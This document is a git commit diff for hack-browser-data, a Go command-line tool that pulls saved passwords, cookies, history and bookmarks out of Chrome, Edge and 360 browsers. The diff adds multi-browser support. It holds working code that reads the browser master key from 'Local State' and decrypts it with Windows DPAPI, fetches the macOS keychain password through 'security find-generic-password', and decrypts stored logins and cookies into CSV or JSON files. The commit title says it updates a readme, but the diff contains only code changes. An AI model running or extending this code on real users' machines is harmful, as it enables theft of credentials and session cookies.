docs: update readme to 0.1.0

cmd/cmd.go

@@ -6,6 +6,7 @@ import (
 	"hack-browser-data/utils"
 	"os"
 	"path/filepath"
+	"strings"
 
 	"github.com/urfave/cli/v2"
 )
@@ -20,31 +21,44 @@ var (
 
 func Execute() {
 	app := &cli.App{
-		Name:    "hack-browser-data",
-		Usage:   "export passwords/cookies/history/bookmarks from browser",
+		Name:  "hack-browser-data",
+		Usage: "export passwords/cookies/history/bookmarks from browser",
+		UsageText: "[hack-browser-data -b chrome -f json -dir results -e all]\n 	Get all data(password/cookie/history/bookmark) from chrome",
 		Version: "0.1.0",
 		Flags: []cli.Flag{
 			&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
-			&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "all", Usage: "browser name, all|chrome|safari"},
-			&cli.StringFlag{Name: "results-dir", Aliases: []string{"d"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
+			&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "chrome", Usage: "available browsers: " + strings.Join(utils.ListBrowser(), "|")},
+			&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
 			&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "result format, csv|json"},
 			&cli.StringFlag{Name: "export-data", Aliases: []string{"e"}, Destination: &exportData, Value: "all", Usage: "all|password|cookie|history|bookmark"},
 		},
+		HideHelpCommand: true,
+		HideVersion:     true,
 		Action: func(c *cli.Context) error {
-			log.InitLog()
+			if verbose {
+				log.InitLog("debug")
+			} else {
+				log.InitLog("error")
+			}
+
 			utils.MakeDir(exportDir)
+			browserDir, key, err := utils.PickBrowser(browser)
+			if err != nil {
+				log.Fatal(err, " Available browsers: "+strings.Join(utils.ListBrowser(), "|"))
+			}
+			err = utils.InitKey(key)
+			if err != nil {
+				log.Fatal(err, "Please Open an issue on GitHub")
+			}
+
 			var fileList []string
 			switch exportData {
 			case "all":
-				fileList = utils.GetDBPath(utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies)
+				fileList = utils.GetDBPath(browserDir, utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies)
 			case "password", "cookie", "history", "bookmark":
-				fileList = utils.GetDBPath(exportData)
+				fileList = utils.GetDBPath(browserDir, exportData)
 			default:
-				log.Fatal("choose one from all|password|cookie|history|bookmark")
-			}
-			err := utils.InitChromeKey()
-			if err != nil {
-				panic(err)
+				log.Fatal("Choose one from all|password|cookie|history|bookmark")
 			}
 			for _, v := range fileList {
 				dst := filepath.Base(v)
@@ -53,15 +67,15 @@ func Execute() {
 					log.Println(err)
 					continue
 				}
-				core.ChromeDB(dst)
+				core.ParseResult(dst)
 			}
 			if outputFormat == "json" {
-				err := core.FullData.OutPutJson(exportDir, outputFormat)
+				err := core.FullData.OutPutJson(exportDir, browser, outputFormat)
 				if err != nil {
 					log.Error(err)
 				}
 			} else {
-				err := core.FullData.OutPutCsv(exportDir, outputFormat)
+				err := core.FullData.OutPutCsv(exportDir, browser, outputFormat)
 				if err != nil {
 					log.Error(err)
 				}

core/common.go

@@ -12,11 +12,6 @@ import (
 	"github.com/tidwall/gjson"
 )
 
-const (
-	Chrome = "Chrome"
-	Safari = "Safari"
-)
-
 const (
 	bookmarkID       = "id"
 	bookmarkAdded    = "date_added"
@@ -27,7 +22,8 @@ const (
 )
 
 var (
-	FullData = new(BrowserData)
+	FullDataSlice []*BrowserData
+	FullData      = new(BrowserData)
 )
 
 type (
@@ -77,16 +73,16 @@ type (
 	}
 )
 
-func ChromeDB(dbname string) {
+func ParseResult(dbname string) {
 	switch dbname {
-	case utils.LoginData:
-		parseLogin()
 	case utils.Bookmarks:
 		parseBookmarks()
-	case utils.Cookies:
-		parseCookie()
 	case utils.History:
 		parseHistory()
+	case utils.Cookies:
+		parseCookie()
+	case utils.LoginData:
+		parseLogin()
 	}
 }
 
@@ -145,9 +141,18 @@ func parseLogin() {
 			UserName:    username,
 			encryptPass: pwd,
 			LoginUrl:    url,
-			CreateDate:  utils.TimeEpochFormat(create),
 		}
-		password, err = utils.DecryptChromePass(pwd)
+		if utils.VersionUnder80 {
+			password, err = utils.DecryptStringWithDPAPI(pwd)
+		} else {
+			password, err = utils.DecryptChromePass(pwd)
+		}
+		if create > time.Now().Unix() {
+			login.CreateDate = utils.TimeEpochFormat(create)
+		} else {
+			login.CreateDate = utils.TimeStampFormat(create)
+		}
+
 		login.Password = password
 		if err != nil {
 			log.Println(err)
@@ -201,7 +206,12 @@ func parseCookie() {
 			ExpireDate:   utils.TimeEpochFormat(expireDate),
 		}
 		// remove prefix 'v10'
-		value, err = utils.DecryptChromePass(encryptValue)
+		if utils.VersionUnder80 {
+			value, err = utils.DecryptStringWithDPAPI(encryptValue)
+		} else {
+			value, err = utils.DecryptChromePass(encryptValue)
+		}
+
 		cookie.Value = value
 		if _, ok := cookieMap[host]; ok {
 			cookieMap[host] = append(cookieMap[host], cookie)

core/output.go

@@ -2,30 +2,39 @@ package core
 
 import (
 	"bytes"
+	"encoding/csv"
 	"encoding/json"
+	"fmt"
 	"hack-browser-data/log"
 	"hack-browser-data/utils"
+	"io"
 	"os"
 
 	"github.com/gocarina/gocsv"
 )
 
-func (b BrowserData) OutPutCsv(dir, format string) error {
+func (b BrowserData) OutPutCsv(dir, browser, format string) error {
 	switch {
 	case len(b.BookmarkSlice) != 0:
-		filename := utils.FormatFileName(dir, utils.Bookmarks, format)
+		filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format)
 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
 		defer file.Close()
 		if err != nil {
 			log.Errorf("create file %s fail", filename)
 		}
+		gocsv.SetCSVWriter(func(out io.Writer) *gocsv.SafeCSVWriter {
+			writer := csv.NewWriter(out)
+			writer.Comma = '	'
+			return gocsv.NewSafeCSVWriter(writer)
+		})
 		err = gocsv.MarshalFile(b.BookmarkSlice, file)
 		if err != nil {
 			log.Error(err)
 		}
+		fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename)
 		fallthrough
 	case len(b.LoginDataSlice) != 0:
-		filename := utils.FormatFileName(dir, utils.LoginData, format)
+		filename := utils.FormatFileName(dir, browser, utils.LoginData, format)
 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
 		defer file.Close()
 		if err != nil {
@@ -35,9 +44,10 @@ func (b BrowserData) OutPutCsv(dir, format string) error {
 		if err != nil {
 			log.Error(err)
 		}
+		fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename)
 		fallthrough
 	case len(b.CookieMap) != 0:
-		filename := utils.FormatFileName(dir, utils.Cookies, format)
+		filename := utils.FormatFileName(dir, browser, utils.Cookies, format)
 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
 		defer file.Close()
 		if err != nil {
@@ -51,9 +61,10 @@ func (b BrowserData) OutPutCsv(dir, format string) error {
 		if err != nil {
 			log.Error(err)
 		}
+		fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename)
 		fallthrough
 	case len(b.HistorySlice) != 0:
-		filename := utils.FormatFileName(dir, utils.History, format)
+		filename := utils.FormatFileName(dir, browser, utils.History, format)
 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
 		defer file.Close()
 		if err != nil {
@@ -63,14 +74,15 @@ func (b BrowserData) OutPutCsv(dir, format string) error {
 		if err != nil {
 			log.Error(err)
 		}
+		fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.HistorySlice), filename)
 	}
 	return nil
 }
 
-func (b BrowserData) OutPutJson(dir, format string) error {
+func (b BrowserData) OutPutJson(dir, browser, format string) error {
 	switch {
 	case len(b.BookmarkSlice) != 0:
-		filename := utils.FormatFileName(dir, utils.Bookmarks, format)
+		filename := utils.FormatFileName(dir, browser, utils.Bookmarks, format)
 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
 		defer file.Close()
 		if err != nil {
@@ -82,9 +94,10 @@ func (b BrowserData) OutPutJson(dir, format string) error {
 		enc.SetIndent("", "\t")
 		enc.Encode(b.BookmarkSlice)
 		file.Write(w.Bytes())
+		fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.BookmarkSlice), filename)
 		fallthrough
 	case len(b.CookieMap) != 0:
-		filename := utils.FormatFileName(dir, utils.Cookies, format)
+		filename := utils.FormatFileName(dir, browser, utils.Cookies, format)
 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
 		defer file.Close()
 		if err != nil {
@@ -99,9 +112,10 @@ func (b BrowserData) OutPutJson(dir, format string) error {
 			log.Println(err)
 		}
 		file.Write(w.Bytes())
+		fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename)
 		fallthrough
 	case len(b.HistorySlice) != 0:
-		filename := utils.FormatFileName(dir, utils.History, format)
+		filename := utils.FormatFileName(dir, browser, utils.History, format)
 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
 		defer file.Close()
 		if err != nil {
@@ -116,9 +130,10 @@ func (b BrowserData) OutPutJson(dir, format string) error {
 			log.Println(err)
 		}
 		file.Write(w.Bytes())
+		fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(b.HistorySlice), filename)
 		fallthrough
 	case len(b.LoginDataSlice) != 0:
-		filename := utils.FormatFileName(dir, utils.LoginData, format)
+		filename := utils.FormatFileName(dir, browser, utils.LoginData, format)
 		file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
 		defer file.Close()
 		if err != nil {
@@ -133,6 +148,7 @@ func (b BrowserData) OutPutJson(dir, format string) error {
 			log.Println(err)
 		}
 		file.Write(w.Bytes())
+		fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename)
 	}
 	return nil
 }

log/log.go

@@ -8,6 +8,10 @@ import (
 	"go.uber.org/zap/zapcore"
 )
 
+const (
+	Prefix = "[x]: "
+)
+
 var (
 	formatLogger *zap.SugaredLogger
 	levelMap     = map[string]zapcore.Level{
@@ -20,8 +24,8 @@ var (
 	}
 )
 
-func InitLog() {
-	logger := newLogger("debug")
+func InitLog(level string) {
+	logger := newLogger(level)
 	formatLogger = logger.Sugar()
 }
 

utils/utils.go

@@ -14,6 +14,9 @@ import (
 
 var (
 	passwordIsEmpty = errors.New("decrypt fail, password is empty")
+
+	errBrowserNotSupported = errors.New("browser not supported")
+	VersionUnder80         bool
 )
 
 type DecryptError struct {
@@ -29,6 +32,11 @@ func (e *DecryptError) Unwrap() error {
 	return e.err
 }
 
+type Browser struct {
+	Name    string
+	DataDir string
+}
+
 const (
 	LoginData = "Login Data"
 	History   = "History"
@@ -36,6 +44,29 @@ const (
 	Bookmarks = "Bookmarks"
 )
 
+func ListBrowser() []string {
+	var l []string
+	for k := range browserList {
+		l = append(l, k)
+	}
+	return l
+}
+
+func GetDBPath(dir string, dbName ...string) (dbFile []string) {
+	for _, v := range dbName {
+		s, err := filepath.Glob(dir + v)
+		if err != nil && len(s) == 0 {
+			continue
+		}
+		if len(s) > 0 {
+			log.Debugf("Find %s File Success", v)
+			log.Debugf("%s file location is %s", v, s[0])
+			dbFile = append(dbFile, s[0])
+		}
+	}
+	return dbFile
+}
+
 func CopyDB(src, dst string) error {
 	locals, _ := filepath.Glob("*")
 	for _, v := range locals {
@@ -65,6 +96,11 @@ func IntToBool(a int) bool {
 	return true
 }
 
+func TimeStampFormat(stamp int64) time.Time {
+	s1 := time.Unix(stamp, 0)
+	return s1
+}
+
 func TimeEpochFormat(epoch int64) time.Time {
 	maxTime := int64(99633311740000000)
 	if epoch > maxTime {
@@ -101,9 +137,9 @@ func WriteFile(filename string, data []byte) error {
 	return err
 }
 
-func FormatFileName(dir, filename, format string) string {
+func FormatFileName(dir, browser, filename, format string) string {
 	r := strings.TrimSpace(strings.ToLower(filename))
-	p := path.Join(dir, fmt.Sprintf("%s.%s", r, format))
+	p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, browser, format))
 	return p
 }
 

utils/utils_darwin.go

@@ -8,28 +8,61 @@ import (
 	"errors"
 	"hack-browser-data/log"
 	"os/exec"
-	"path/filepath"
+	"strings"
 
 	"golang.org/x/crypto/pbkdf2"
 )
 
 const (
-	macChromeDir = "/Users/*/Library/Application Support/Google/Chrome/*/"
+	chromeDir    = "/Users/*/Library/Application Support/Google/Chrome/*/"
+	edgeDir      = "/Users/*/Library/Application Support/Microsoft Edge/*/"
+	mac360Secure = "/Users/*/Library/Application Support/360Chrome/*/"
+)
+
+const (
+	Chrome        = "Chrome"
+	Edge          = "Microsoft Edge"
+	SecureBrowser = "Chromium"
 )
 
 var (
-	iv         = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
-	command    = []string{"security", "find-generic-password", "-wa", "Chrome"}
-	chromeSalt = []byte("saltysalt")
-	chromeKey  []byte
+	iv          = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
+	command     = []string{"security", "find-generic-password", "-wa"}
+	chromeSalt  = []byte("saltysalt")
+	chromeKey   []byte
+	browserList = map[string]struct {
+		Dir     string
+		Command string
+	}{
+		"chrome": {
+			chromeDir,
+			Chrome,
+		},
+		"edge": {
+			edgeDir,
+			Edge,
+		},
+	}
 )
 
-func InitChromeKey() error {
+func DecryptStringWithDPAPI(data []byte) (string, error) {
+	return string(data), nil
+}
+
+func PickBrowser(name string) (browserDir, command string, err error) {
+	name = strings.ToLower(name)
+	if choice, ok := browserList[name]; ok {
+		return choice.Dir, choice.Command, err
+	}
+	return "", "", errBrowserNotSupported
+}
+
+func InitKey(key string) error {
 	var (
 		cmd            *exec.Cmd
 		stdout, stderr bytes.Buffer
 	)
-	cmd = exec.Command(command[0], command[1], command[2], command[3])
+	cmd = exec.Command(command[0], command[1], command[2], key)
 	cmd.Stdout = &stdout
 	cmd.Stderr = &stderr
 	err := cmd.Run()
@@ -47,20 +80,20 @@ func InitChromeKey() error {
 	return err
 }
 
-func GetDBPath(dbName ...string) (dbFile []string) {
-	for _, v := range dbName {
-		s, err := filepath.Glob(macChromeDir + v)
-		if err != nil && len(s) == 0 {
-			continue
-		}
-		if len(s) > 0 {
-			log.Debugf("Find %s File Success", v)
-			log.Debugf("%s file location is %s", v, s[0])
-			dbFile = append(dbFile, s[0])
-		}
-	}
-	return dbFile
-}
+//func GetDBPath(dir string, dbName ...string) (dbFile []string) {
+//	for _, v := range dbName {
+//		s, err := filepath.Glob(dir + v)
+//		if err != nil && len(s) == 0 {
+//			continue
+//		}
+//		if len(s) > 0 {
+//			log.Debugf("Find %s File Success", v)
+//			log.Debugf("%s file location is %s", v, s[0])
+//			dbFile = append(dbFile, s[0])
+//		}
+//	}
+//	return dbFile
+//}
 
 func decryptChromeKey(chromePass []byte) {
 	chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)

utils/utils_windows.go

@@ -4,9 +4,9 @@ import (
 	"crypto/aes"
 	"crypto/cipher"
 	"encoding/base64"
-	"hack-browser-data/log"
+	"errors"
 	"os"
-	"path/filepath"
+	"strings"
 	"syscall"
 	"unsafe"
 
@@ -14,50 +14,96 @@ import (
 )
 
 const (
-	winChromeKeyDir = "/AppData/Local/Google/Chrome/User Data/Local State"
-	winChromeDir    = "/AppData/Local/Google/Chrome/User Data/*/"
+	chromeDir        = "/AppData/Local/Google/Chrome/User Data/*/"
+	chromeKeyFile    = "/AppData/Local/Google/Chrome/User Data/Local State"
+	secure360Dir     = "/AppData/Local/360chrome/Chrome/User Data/*/"
+	secure360KeyFile = ""
+	edgeDir          = "/AppData/Local/Microsoft/Edge/User Data/*/"
+	edgeKeyFile      = "/AppData/Local/Microsoft/Edge/User Data/Local State"
 )
 
 var (
 	chromeKey []byte
-)
 
-func InitChromeKey() error {
-	chromeKeyPath := os.Getenv("USERPROFILE") + winChromeKeyDir
-	keyFile, err := ReadFile(chromeKeyPath)
-	if err != nil {
-		log.Error(err)
-		return err
+	browserList = map[string]struct {
+		Dir string
+		Key string
+	}{
+		"chrome": {
+			chromeDir,
+			chromeKeyFile,
+		},
+		"edge": {
+			edgeDir,
+			edgeKeyFile,
+		},
+		"360secure": {
+			secure360Dir,
+			secure360KeyFile,
+		},
 	}
-	s := gjson.Get(keyFile, "os_crypt.encrypted_key").String()
-	masterKey, err := base64.StdEncoding.DecodeString(s)
-	if err != nil {
-		return err
+)
+
+
+func PickBrowser(name string) (browserDir, key string, err error) {
+	name = strings.ToLower(name)
+	if choice, ok := browserList[name]; ok {
+		if choice.Key != "" {
+			return os.Getenv("USERPROFILE") + choice.Dir, os.Getenv("USERPROFILE") + choice.Key, nil
+		} else {
+			return os.Getenv("USERPROFILE") + choice.Dir, "", nil
+		}
 	}
-	chromeKey, err = DecryptStringWithDPAPI(masterKey[5:])
-	return err
+	return "", "", errBrowserNotSupported
 }
 
-func GetDBPath(dbName ...string) (dbFile []string) {
-	var dbPath []string
-	chromeDBPath := os.Getenv("USERPROFILE") + winChromeDir
-	for _, v := range dbName {
-		dbPath = append(dbPath, chromeDBPath+v)
+var (
+	errBase64DecodeFailed = errors.New("decode base64 failed")
+)
+
+func InitKey(key string) error {
+	if key == "" {
+		VersionUnder80 = true
+		return nil
 	}
-	for _, v := range dbPath {
-		s, err := filepath.Glob(v)
-		if err != nil && len(s) == 0 {
-			continue
-		}
-		if len(s) > 0 {
-			log.Debugf("Find %s File Success", v)
-			log.Debugf("%s file location is %s", v, s[0])
-			dbFile = append(dbFile, s[0])
+	keyFile, err := ReadFile(key)
+	if err != nil {
+		return err
+	}
+	encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key")
+	if encryptedKey.Exists() {
+		pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
+		if err != nil {
+			return errBase64DecodeFailed
 		}
+		chromeKey, err = decryptStringWithDPAPI(pureKey[5:])
+		return nil
+	} else {
+		VersionUnder80 = true
+		return nil
 	}
-	return dbFile
 }
 
+//func GetDBPath(dir string, dbName ...string) (dbFile []string) {
+//	var dbPath []string
+//	chromeDBPath := os.Getenv("USERPROFILE") + dir
+//	for _, v := range dbName {
+//		dbPath = append(dbPath, chromeDBPath+v)
+//	}
+//	for _, v := range dbPath {
+//		s, err := filepath.Glob(v)
+//		if err != nil && len(s) == 0 {
+//			continue
+//		}
+//		if len(s) > 0 {
+//			log.Debugf("Find %s File Success", v)
+//			log.Debugf("%s file location is %s", v, s[0])
+//			dbFile = append(dbFile, s[0])
+//		}
+//	}
+//	return dbFile
+//}
+
 func DecryptChromePass(encryptPass []byte) (string, error) {
 	if len(encryptPass) > 15 {
 		// remove prefix 'v10'
@@ -103,7 +149,7 @@ func (b *DataBlob) ToByteArray() []byte {
 }
 
 // chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
-func DecryptStringWithDPAPI(data []byte) ([]byte, error) {
+func decryptStringWithDPAPI(data []byte) ([]byte, error) {
 	dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
 	dllKernel := syscall.NewLazyDLL("Kernel32.dll")
 	procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
@@ -116,3 +162,17 @@ func DecryptStringWithDPAPI(data []byte) ([]byte, error) {
 	defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
 	return outBlob.ToByteArray(), nil
 }
+
+func DecryptStringWithDPAPI(data []byte) (string, error) {
+	dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
+	dllKernel := syscall.NewLazyDLL("Kernel32.dll")
+	procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
+	procLocalFree := dllKernel.NewProc("LocalFree")
+	var outBlob DataBlob
+	r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
+	if r == 0 {
+		return "", err
+	}
+	defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
+	return string(outBlob.ToByteArray()), nil
+}